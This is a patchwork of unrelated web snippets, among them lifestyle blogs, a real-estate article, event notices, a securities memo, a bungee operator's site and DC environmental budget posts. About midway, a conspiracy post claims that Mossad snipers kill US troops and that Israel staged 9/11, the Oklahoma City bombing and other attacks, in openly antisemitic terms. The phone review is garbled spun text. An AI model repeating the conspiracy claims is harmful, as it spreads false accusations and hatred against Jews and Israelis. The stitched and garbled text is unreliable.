The afternoon involved a trip into town and the purchase of yet more fabric, as well as finally shelling out for the Dita Von Teese book, 'Your Beauty Mark'.
I spotted this book at Christmas and thought I'd hold out for it to go into the sale. It never went into the sale so I finally succumbed on Saturday, and then spent much of Saturday evening devouring its contents. I'm a big Dita fan, so I'm biased, but this is a beautiful tome filled with the most gorgeous photography as well as all of Dita's beauty secrets from hairstyles to nails and everything in between. Yep, I'm pleased with that purchase.
Sunday, it was a trip to the Scarborough Spa Vintage Fair. We arrived early and, because we thought the road might get closed off for the tour de Yorkshire, we parked a little farther away. That worked out perfectly though and I was able to get some lovely photos of my vintage outfit amongst lovely beds of daffodils on the walk down to the spa. At least we can pretend spring is coming when the flowers are out… even if it is blisteringly cold.
|Shoes - Clarks, Skirt - Lindy Bop, Cardigan - Thrifted, Faux Fur Jacket - Vintage, Handbag - Vintage
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The fair was great, albeit absolutely packed. Note to self, I do not need a giant faux fur jacket when going to packed out vintage fairs! There were loads of stalls selling clothing and homewares, as well as vintage singers and a vintage hairstylist.
He was turning out some fabulous updos which made me glad that he's based nearby because the next time I'm going to something special I shall pay him a visit first. For my less special days, I really need to master some more vintage style hairdos myself. I'm pretty comfortable with the wet set now, and Sunday's hair was a roll covered with a tied silk scarf, hiding a multitude of sins. I digress.
The Mr. and I shared a lovely cream tea, which was huge and had I eaten one to myself I would never have managed my lovely Sunday roast later that day.
There were so many pretty things at the fair, but having spent the majority of my pocket money on fabric the day before, I was very restrained. I did get a lovely blouse though since, now I'm making lots of skirts, I've noted a few blouse shaped gaps in my wardrobe. I also bought this divine vintage sewing kit to carry in my handbag. No fear of wardrobe malfunctions while I'm out and about with this cutie little kit.
Monday, I had intended to make a decent start on the skirt, which I had cut out on Sunday evening. When it came to it though, I thought my time was far better spent watching 'My Little Chickadee' (because … Mae West and W. C. Fields) cooking a gorgeous roast vegetable lasagne, and, you guessed it, reading more of my Dita book. If only every weekend was so leisurely and filled with such glamour.
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Today I heard a man say to his friend that he expected I would be a lot better. In real life I don't surf as good as he thought I would. He wasn't being mean he just didn't think I could hear. I have been thinking about that a lot and I thought that I should tell you guys that this clip of me surfing is of all my best things if you watch me surf in real life I fall off things and blow sections but I don't put the bad stuff on Instagram. I just put the good stuff on ❤Sabre @dhdsurf
The process of discovery is pretty simple in 2016.
We carry the world around in our pockets and most questions have answers that are only a few pixels away — including questions we don't even realize we're asking.
For example, today I wasn't asking who my favorite surfer was. I already knew it was Michael Dunphy because he is the Texas Rattlesnake and each one of his turns boasts the venom of a thousand snakes! But while I was on Instagram, not asking that question, I found this post and an unlikely answer.
Sabre Norris!
She is my new favorite surfer. First off, because her name. Secondly, because she does shuv-its. Tied for third: because she's 11-years-old and because she wears a helmet. Ninthly (skating doesn't do too much for me), because she can land 540s on a skateboard. See:
Wow…I think?
So now, because of 2016 and the modern process of discovery, Sabre Norris is my favorite surfer. I'm sorry Dunphy. Maybe you should wear a helmet and do some shuv-its and we can work this out.
PS – Who's this man she's referring to in that Instagram caption? Heard it was Tom Brady.


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Almost all the agents who responded to the survey (97 percent) had held public open houses, but only 41 percent believe those events help sell the home thats being showcased. Thirty-two percent believe public open houses attract many potential buyers for other Brampton properties, but nearly three-fourths also believe those buyers are more likely to buy a home other than the one being held open. And 62 percent say most people attending open houses arent serious buyers at all.
Also, nowadays everyone is searching for real estate on the internet. An internet lead is more qualified then an open house lead. An internet lead already knows the price of the house, the size, how it looks (from the pictures / virtual tour) before they call the agent. An open house visitor has no idea about any of those things when he walks into the house. Just to be polite theyll make compliments and usually leave a wrong phone number.
Even though open houses may be of only marginal benefit for Brampton sellers, they arent necessarily a total loss for sharp agents. In addition to bringing in buyers for other homes, open houses create opportunities for agents to sign listing agreements with neighbors who stop by to see the open home. Fifty-five percent of the survey respondents agreed with the statement that open houses help them generate new listing contracts. Public open houses also present a security issue for home sellers and agents. Whether or not to hold an open house is a concern among agents, says Jack Harris, a research economist with the Texas A&M center. Agents must be on-site for the duration of open houses. Safety is a growing concern because there is no way to know whether a visitor is a serious buyer, just curious or has more sinister motives.
A lot of the times you will just get nosey neighbors wanting to see how your house is decorated or people just out for shopping in Brampton will drop by because they want to know how much to price their house when its time for them to sell. MLS is the most effective way to get qualified buyers.
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The Chrysler K-Car Club Annual Christmas/Holiday Meet & Car Museum Ride-A Long.
Date: Sunday, December 22nd, 2013
Time:1:00 PM-4PM Automobile Driving Museum (FREE CAR RIDES 40S-70S CARS)
4:30PM-8:00 PM Cantalini's Salerno Beach Restaurant
Locations: Automobile Driving Museum
610 Lairport St, El Segundo, Ca. 90245
Catalini's Salerno Beach Italian Restaurant
193 Culver Blvd, Playa del Rey, Ca. 90293
Cost: $5 for the museum and your own food.
Purpose: To have a good time and enjoy club fellowship & cars. This will be one of our best events of the year. This museum we will be attending is the only one in the world where you can ask for free rides in cars over half a century old. They have already reserved parking for us and we may be able to park inside the museum. After the museum closes at 4PM, we will drive along the coast three miles to the best Italian restaurant (with live Sunday music) and have our meal and park our cars. I am open to suggestions and ideas for this special day.
Important: Contact Guy V.Coulombe at 818-219-2587 or Ed Garren at 213-453-3040 to RSVP and for directions.


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The Project goal is the elimination of Transfer Agent examination, approval and retention of documents that accompany requests for non-routine transactions, commonly known as legals. A change to the existing process will benefit investors and the Securities Industry, as a whole.
Guarantors will be relieved of the tasks of duplicating and mailing supporting documents to separate Transfer Agents for the same customer. They will also be relieved of the necessity of dealing with processing differences caused by variances in individual Transfer Agent requirements and they will experience a reduction in rejects and reject fees. Transfer Agents will benefit from significant processing efficiencies in their operations, legal/paralegal, and document retention areas. Lastly, investors will no longer be faced with lengthy, sometimes confusing and frustrating, securities transactions.
The basis for changing the current, centuries old process, is the protection afforded Issuers and Transfer Agents within Section 8-306 of Uniform Commercial Code which spells out the warranties of the Guarantor:
...at the time of signing,
(a) the signature was genuine; and
(b) the signer was an appropriate person to indorse; and
(c) the signer had legal capacity to sign.
Counsel for STAMP, Inc. and various Commercial Transfer Agents have determined that the UCC language is protective and sufficient to warrant the proposed change. Furthermore, the New York Stock Exchange, Rule 210 contains almost identical language covering the warranties of members who act as Guarantors. Representatives of the NYSE have been kept up to date with the progress of the Project.
Counsel for STAMP, Inc. has reviewed the language contained in the current Medallion Program Documents and determined that no changes are necessary to accommodate the Project. Furthermore, STAMP, Inc. is aware of a landmark case involving inappropriate documents contained in a legal transaction. The Transfer Agent clearly erred in its examination and acceptance of supporting documents and a wrongful transaction resulted. Regardless, a claim against the Guarantor was made. After review and discussion with its Surety Company, the Guarantor acknowledged its responsibility and paid the claim, in full. This case did not involve a legal judgement and does not constitute precedence. However, it is a clear indication of the effectiveness of Section 8-306 of the Code and Medallion Guarantee Program Documents.


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A brand new smartphone has been found by Panasonic the Panasonic Eluga Icon, in India. It's costing Rs. 10,999 and goes on sell only through Amazon.
The selfie-centered an 8MP camera is housed by Panasonic Eluga Image in the front with Flash Perform attribute as well as has a 13-megapixel camera in the back. The phone is powered by means of an octa-center chipset which is clocked at 1.5Ghz of rate, joined with 2GB of Memory.
The Eluga Image arriving with Android 4.4.2 kit-kat OS and has a huge 3500mAH battery beneath the the cover, that's graded for discussion time of 19 hours and standby-time of 900 hrs. The smart phone also comes with a large 5.5-inch IPS OGS HD (1280 x 720 pixels) screen. The phone comes with 7.9 millimeter depth & 147 gm weight.
When it comes to connection options, the mobile contain Global Positioning System, 3G HSPA, FM Radio, Wi-Fi, hot-spot, and 4 LTE.


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I Will Always Love You vs My Heart Will Go On
Dan and Sacha keep the key changes tight in this diva deathmatch of soundtrack megahits. PROM WARNING!
Baby Got Back vs I Got A Man
Mack Daddy Sir Mix-A-Lot spits against the dapper Positive K in a David and Goliath bro-down feat. comedian Sumukh Torgalkar!
The Beautiful People vs More Human Than Human
Marilyn Manson and White Zombie in a battle of LITERAL MONSTERS OF ROCK feat YouTuber Ryan "Fluff" Bruce of Riffs, Bears and Gear and the band Rest, Repose
Everlong vs 1979
Foo Fighters and Smashing Pumpkins in a BEAUTY AND THE BEAST BASH feat. Ben Sharp of Cloudkicker. Just add9, bro!
This box of text can be used for other info, like Sacha's Amazon wishlist and my cosplay headshots. Have a great day!


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Anderson Cooper of CNN showed this video of snipers killing U.S. troops in Iraq on his October 18, 2006 show. CNN says it obtained the video from a "representative" of an unnamed "insurgent leader." Bear in mind that Anderson Cooper used to work for the CIA.
Richard Wilson's hypothesis: Israeli soldiers and/or Mossad agents are killing our soldiers in Iraq in order to enrage American troops so that the slaughter continues.
Proof: At the very beginning of this video clip, you see a rifle with a video camera attached to it. This weapon is made by the Rafael company, an Israeli arms manufacturer, that also makes IEDs. If you watch the video all the way through, it explains how this rifle works. CNN stated that the camera used to film these shootings was not a mounted rifle camera. But as you watch the video, you see that with each shot fired, the camera recoils. That would only happen if it were mounted on the rifle. Why is this significant? Because this kind of rifle-camera is extremely sophisticated and not available to your average Iraqi insurgent. I mean, it's not exactly an easily obtainable Saturday night special! Something this sophisticated points to Mossad.
Mossad is a master at false flag operations...for example Oklahoma City; the attack on the USS Cole in Yemen; the bombing of the Israeli Embassy in Buenos Aires; the July 7, 2005 London bombings; the 9-11 attacks in New York; or Israeli involvement on day of 9-11 world trade demolition project; the assassination of politicians in Beirut; the stoking of Muslim riots in France last year; or the bombing of the Hassan al-Askari Mosque in Samarra, Iraq.
(See: Examples of False Flag Terrorism)
Whenever Mossad carries out these false-flag operations they produce a videotape or a recording from an "unnamed source" that is "close to al-Qaeda." Sometimes they say "the claim was posted on an Internet website, but its authenticity could not be verified."
These days, it's MOSSAD asset Rita Katz putting out videos showing how deranged the Muslims are. The reality is that it's Israel behind these 'beheadings' to keep Americans scared shitless so they'll keep supporting these endless 'Wars for Wall Street and Israel,' herding us into the NWO slaughterhouse.


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Once again, this week's flavor comes courtesy of my garden. My bell pepper plants have absolutely gone crazy this week. So, as they say – when life gives you peppers, cook `em. Or something like that. A lot of people don't realize this, but the different colors of bell peppers are all the same plants at varying stages of ripeness. I went ahead and harvested a bunch of green peppers (the earliest ripe stage) because there were about 30 peppers getting pretty big. There's a good chance I'll still have plenty of good colored peppers later as well.
Similar to zucchini, peppers can be used in a variety of flavors. They fit in well in many spicy cuisines such as Mexican or Indian. They also do very well in an Italian based meal. Peppers are pretty foolproof, in that there's really no wrong way to cook them. The main variable is going to be how much crunch you want left in them.
Stay tuned for some pepper recipes this week. I've already utilized peppers in many of my previous recipes, so give those a look as well.
- Previously listed pepper recipes for some inspiration:


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Amazon has another great Sodial deal for you this morning! Right now you can snag this 10-Piece set of Animal Finger Puppets for only $2.07, including FREE shipping. That breaks down to just a slight bit over .20 per puppet!
Please keep in mind that Amazon's prices can change very quickly, and deals such as these seem to really go fast. It's always best to double check the price before you head to check out.
(Thanks Couponing to Disney!)


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When ex Capt. Rahul Nigam decided to set up 'Jumpin Heights'- India's first Extreme Adventure zone, Rishikesh, in 2006, it was for the purpose of bringing to India something its youth could be proud of. Safety and impeccable quality is not something we, as Indians, trust our systems with and that's something that bothered him immensely. With the ambitious desire to change the face of extreme adventure, especially Bungee India, including the way organizational safety is perceived in India, he brought in what is arguably one of the most extreme sports worldwide and set up amidst the stunning landscape of Rishikesh, India's first and highest Bungee jumping platform (83 meters).
This was consciously done to emphasize the fact to the forgetting Indian youth, that natural beauty is something that Indians do not need to go far for, and this needs to be acknowledged, cherished, respected and taken care of.
In the setting up of the place, he chose to learn from the best: A team from New Zealand, the place native to this sport, was flown in to design the Jump Zone based on the original model, which is worlds apart from the previously existing Indian concept of 'Bungy' in the mall or from a crane– He was very clear that he wanted to clearly distinguish between entertainment and serious adventure, and a fun evening in the mall or a park is not why Bungy jumping is on so many peoples' bucket list.
Being an ex-Army officer myself, I asked my fellow Army officer, and friend, Col. Manoj Kumar to formally join in to maintain the discipline that goes with such extreme adventure sports in India. This is how we began the process of building our team, which now includes several other Army officers as well. Subsequently, the Indian staff was trained extensively by our New Zealand Jump Masters to maintain impeccable standards of safety at all times.
Rahul Nigam M.D Jumpin Heights
An out of the world experience. We have arrived as an advanced adventure destination.
Anand Kumar (IAS), Joint Secretary, Ministry of Tourism, Govt. of India
Simply Awesome. The Safety provided is exceptional. I am extremely grateful to Capt. Rahul Nigam, Col. Mohan, Col. Choudhary and entire staff here. Wishing you great success.
Col. Arun Malik
They have an excellent crew that treats each jump as special and motivates you to take the plunge for what will be the most thrilling 30 seconds of your life. The safety standards and processes are excellent and you can make out how passionately they do their jobs to ensure utmost safety and make the whole experience absolutely memorable.
Nikita Sinha
The only best Bungy Jump Co. in India. A bit expensive but safety is not compromised. You are all safe in the hands of experienced & safe Jump Masters.
Debojit Deb
Extremely friendly staff. And all due precautions and double checking in place. Wasn't really scared putting my life on risk with them.
Shakti Shankar
Superb. Hats off to the team for creating such an international adventure site. The jump was just awesome. Heavenly experience of a lifetime.
Mathews Scaria
The gorgeous hilly terrains are an intrinsic part of Uttarakhand, and cannot be extricated out of the Rishikesh experience. The bungee jumping location is about few minute walk from the serene land. Please note that the 15-20 minute walk up from the Recovery point, after your Bungy, to the Cafeteria, maybe strenuous for some, considering this is a hilly area but we urge you to take this in the spirit of Rishikesh adventure tour packages, and come prepared with sports shoes.
This is a beautiful walk up nonetheless, amidst the wilderness of Rishikesh, and rest assured that we have made arrangements to make Bungee jumping places this as comfortable as possible, by providing 1 complementary bottle of water for the walk up, along with benches for a short rest, at regular intervals of the route. The bungee jumping prices are affordable and blended with other sports to make it more cost-effective. You can choose any one from the combos as per your conveniences.
|Minimum - 12 yrs
|Minimum – 40 kg
|Maximum – 110 kg
Fly at 140 Kmph on Asia's Longest Flying Fox!
Designed by Experts from New Zealand.
Fly with your closest pals!
The fox is normally done by 3 people in Tandem. Can also be done solo, at an extra cost. After walking down to the cafeteria, claim your Dare to Jump certificate.
|Minimum - 12 yrs
|Minimum – 20 kg
|Maximum – 130 kg
This exhilarating adventure can be done in by 2 people in Tandem too ~ Swing Tandem bungee jumping with a friend or your partner, and make this a day you'll never forget!
|Minimum - 12 yrs
|Minimum – 30 kg
|Maximum – 120 kg
The Jump Platforms have been designed by a team from New Zealand and technically Qualified Jump Masters, with years of experience of operating these sports in New Zealand, We ensure safety by making sure we have a highly experienced crew, high level of training, good quality bungee jumping cords, the best equipment and procedures in place, as well as a number of checks and counter checks and very thorough inspection schedules.
Our Jump Masters have been trained by Experts from New Zealand and have successfully operated over 70,000 Jumps.
Discipline of all safety procedures is overseen by ex-Army officers & various safety drills are regularly practiced on site. Operating members of our staff are qualified in First Aid and certified by Red Cross, in case of emergencies.
We follow the Australian & New Zealand Standards Authority Guidelines for commercial operations in Bungy Jumping and these standards have now been incorporated to form the Indian Standards which did not exist before:
With regards the safety, there were obviously no official regulations in place, since Bungy had never been practiced on a formal scale before, and Jumpin Heights, based on the New Zealand safety standards, went on to formalize the regulations which are now taken to be the official safety standards for Bungy jumping in India.
Due to its extreme nature, this sport is not suitable for people with the following medical conditions
In case of any of these conditions, you will be prohibited from Jumping and/or Flying. In case of any other relevant conditions, especially over the age of 40, you are obliged to inform the Crew, and will further be allowed to jump only at their discretion.
Cameras are strictly prohibited on, or around, the jump zone for safety reasons, and this is not negotiable. Videos can be bought separately, in-store.
These being an extreme adventure sport, come prepared to rough it out.
Prices wef 01 July'17; Inclusive of 18% GST newly levied by the Govt. of India
You can avail of our luxurious A/C Bungy Coach and enjoy the scenery of River Ganges below as you travel to the Jump Zone from the heart of the city.
Departure Timings from our Sales office at Tapovan:
09:00 am, 11:00 am & 01:00 pm
Departure Timings from our Jump Zone:
12:00 pm, 02:00 pm & 04:00 pm
Please book your Bungy Coach Tickets in advance.
07830335577 / 07830404067
Phone Line will be open from 8:00 AM to 10 :00 PM.
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Research Platform
Transmission electron microscopy (TEM) is a microscopy technique in which a beam of electron is transmitted through an ultra-thin specimen, interacting with the specimen as it passes through. An image is formed from the interaction of the electrons transmitted through the specimen; the image is magnified and focused onto an imaging device, such as a fluorescent screen, on a layer of photographic film, or to be detected by a sensor such as a CCD camera.
TEMs are capable of imaging at a significantly higher resolution than light microscopes, owing to the small de Broglie wavelength of electrons. This enables the instrument's user to examine fine detail—even as small as a single column of atoms, which is thousands of times smaller than the smallest resolvable object in a light microscope. TEM forms a major analysis method in a range of scientific fields, in both physical and biological sciences. TEMs find application in cancel research, virology,materials science as well as pollution, nanotechnology, and semiconductor research.
At smaller magnifications TEM image contrast is due to absorption of electrons in the material, due to the thickness and composition of the material. At higher magnifications complex wave interactions modulate the intensity of the image, requiring expert analysis of observed images. Alternate modes of use allow for the TEM to observe modulations in chemical identity, crystal orientation, electronic structure and sample induced electron phase shift as well as the regular absorption based imaging.


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Who is Four Legged Fitness?
Four Legged Fitness is Johnny Delaplane, Cari Delaplane, Lisa Anderson, and Patty Grannan. We work as a team to provide the highest level of pet care. Together, we have over 30 years of professional dog walking experience. We provide exercise, socialization, and relief in a safe environment. In addition, we use positive reinforcement techniques to strengthen the good behaviors your dog already knows. By practicing obedience during playtime, we make training fun!


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Federal Reserve Chairman Ben Bernanke rocked the global financial markets on June 19 when he laid out a timeline for the tapering of the Fed's stimulative quantitative easing program.
Just two days later, St. Louis Fed President James Bullard issued a statement saying why he thought it was a mistake for the Fed to make such statements.
One of his big concerns was how low inflation was getting.
"Why has inflation been low?" Bullard asked at an economic summit in Jackson Hole, Wyoming. "We do not have a good explanation, so we should be careful."
He reiterated his recent dissent.
"Given recent forecasting performance, we should be careful in using an optimistic forecast to justify current policy decisions," he said. "A more prudent approach would be to wait to see if better macroeconomic outcomes materialize in the months and quarters ahead."
Bullard laid out his whole thought process in a brief presentation on the economy.


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DDOE Public Budget Briefing!
By Chris Weiss, Director, DC Environmental Network
Interested in how the Mayor's proposed budget will affect local environmental programs?
Join the DC Environmental Network, DC Fiscal Policy Institute, Global Green USA, Friends of the Earth, Greenspace NCR, Institute for Market Transformation, Sustainable Community Initiatives, Washington Parks & People, Sierra Club, Solar Solution llc., Capital Area Food Bank, DC Farm to School Network, Anacostia Watershed Society, DC Sun, Center for Biological Diversity, Surfrider Foundation – DC Chapter and DC for Democracy for a very important budget briefing.
District of Columbia Mayor Vincent Gray recently released his proposed budget to deal with a $322.1 million dollar budget gap. The environmental organizations listed above asked the District Department of the Environment (DDOE) for a budget briefing to discuss how Mayor Gray's proposed budget cuts will impact programs to fight global warming, restore area rivers and creeks, restore our urban forest and protect the health and economic well being of District residents.
DDOE Director Christophe Tulou and his Deputy Directors have agreed to share budget highlights and answer questions at a DDOE Budget Briefing on April 14th at 10:00 AM at DDOE Headquarters, 1200 First Street NE, Room 718. All are welcome to attend.
This will be an important opportunity to prepare for Councilmember Mary Cheh's DDOE Budget Hearing on April 21st.
SIGN-UP HERE to ATTEND the Budget Briefing on April 14th! (We will forward to DDOE!)
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REPORT: What Can Environmentalists Do About DC Budget Shortfalls?
By Chris Weiss, Director, DC Environmental Network
On March 3rd DCEN LUNCHEON participants were treated to an excellent primer on current budget shortfalls and what DC environmentalists might do to make sure their voice is heard by decision makers to make sure important environmetal programs are saved from cuts.
This discussion was the first event organized by the DC Environmental Network designed to prepare the environmental community for the upcoming budget battles that will be occuring in the next few months.
District of Columbia At-Large Councilmember Phil Mendelson explained what revenue creation options the Council and Mayor are considering to deal with the $400-500 million dollar budget shortfall. He also shared some tips on how we, the environmental community, might approach the Council and Mayor to protect important environmental programs. Click Here to Watch Phil's Presentation!
Jennifer Budoff, Budget Director of the DC Council talked about a new Tax Expenditure Working Group to help develop ideas and use best practices to better manage taxpayer dollars and bring new efficiences to save money. She hoped some of these savings and efficiencies would occur in the current budget cycle. She also shared opportunities for District residents to come speak out about how they want taxpayer dollars to be used. Click Here to Watch Jennifer's Presentation!
Ed Lazere, Executive Director of the DC Fiscal Policy Institute talked about the importance of raising revenues. Ed shared data from past years that show that revenue collections have decreased as needs have increased. Ed talked about how cuts of certain programs decrease the overall quality of life. He cited our public library system as an example. He talked about possible income and sales tax increases. Ed discussed a weakness in the District's tax system that keeps Corporations from paying their fair share of taxes in the District. Fixing this could keep the District from adding another $22 million to the current budget shortfall. Click Here to Watch Ed's Presentation!
Discussion: These three presentations were followed by a very interesting open discussion were DCEN participants shared information and asked questions of our panelists. Watch the Open Discussion Here!